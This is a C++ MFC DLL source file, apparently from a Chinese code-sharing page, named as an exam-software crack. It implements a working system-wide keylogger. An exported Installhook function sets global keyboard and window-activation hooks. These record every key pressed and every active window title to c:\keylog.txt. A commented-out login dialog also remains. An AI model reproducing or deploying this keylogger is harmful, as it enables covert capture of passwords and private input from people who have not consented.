📄 kypcjxexamcrkdll.cpp
字号:
// KYPCJXExamCrkDll.cpp : 定义 DLL 的初始化例程。
//
#include "stdafx.h"
#include "KYPCJXExamCrkDll.h"
#include "Login.h"
#include "Set.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//
// 注意!
//
// 如果此 DLL 动态链接到 MFC
// DLL,从此 DLL 导出并
// 调入 MFC 的任何函数在函数的最前面
// 都必须添加 AFX_MANAGE_STATE 宏。
//
// 例如:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // 此处为普通函数体
// }
//
// 此宏先于任何 MFC 调用
// 出现在每个函数中十分重要。这意味着
// 它必须作为函数中的第一个语句
// 出现,甚至先于所有对象变量声明,
// 这是因为它们的构造函数可能生成 MFC
// DLL 调用。
//
// 有关其他详细信息,
// 请参阅 MFC 技术说明 33 和 58。
//
// CKYPCJXExamCrkDllApp
BEGIN_MESSAGE_MAP(CKYPCJXExamCrkDllApp, CWinApp)
END_MESSAGE_MAP()
// CKYPCJXExamCrkDllApp 构造
CKYPCJXExamCrkDllApp::CKYPCJXExamCrkDllApp()
{
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}
// 唯一的一个 CKYPCJXExamCrkDllApp 对象
CKYPCJXExamCrkDllApp theApp;
// CKYPCJXExamCrkDllApp 初始化
BOOL CKYPCJXExamCrkDllApp::InitInstance()
{
CWinApp::InitInstance();
return TRUE;
}
//导出函数声明
#define DllExport __declspec(dllexport)
DllExport void WINAPI Installhook();
/////////////////////////////////////////////////////////////////////////////
char buffer[64];
HHOOK hook1=NULL;
HHOOK hook2=NULL;
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* buffer);
DllExport void WINAPI Installhook()
{
hook1=SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyHook,
theApp.m_hInstance,
0);
hook2=SetWindowsHookEx(WH_CBT,
(HOOKPROC)WinHook,
theApp.m_hInstance,
0);
}
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode>=0)
{
if((lParam & 0x80000000) == 0x00000000)
{//Check whether key was pressed(not released).
buffer[0]=wParam;
buffer[1]='\x0';
SaveLog(buffer);
}
}
return CallNextHookEx(hook1,nCode,wParam,lParam);
}
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HCBT_ACTIVATE)
{
::GetWindowText((HWND)wParam,buffer,64);
SaveLog(buffer);
}
return CallNextHookEx(hook2,nCode,wParam,lParam);
}
void SaveLog(char* buffer)
{
CString name("c:\\keylog.txt");
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(buffer,strlen(buffer));
file.Write("\x0d\x0a",2);
file.Close();
}
/*extern "C" __declspec(dllexport) void ShowLogin()
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CLogin login;
if(login.DoModal()==IDCANCEL)
return;
CSet dlg;
dlg.DoModal();
}*/
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -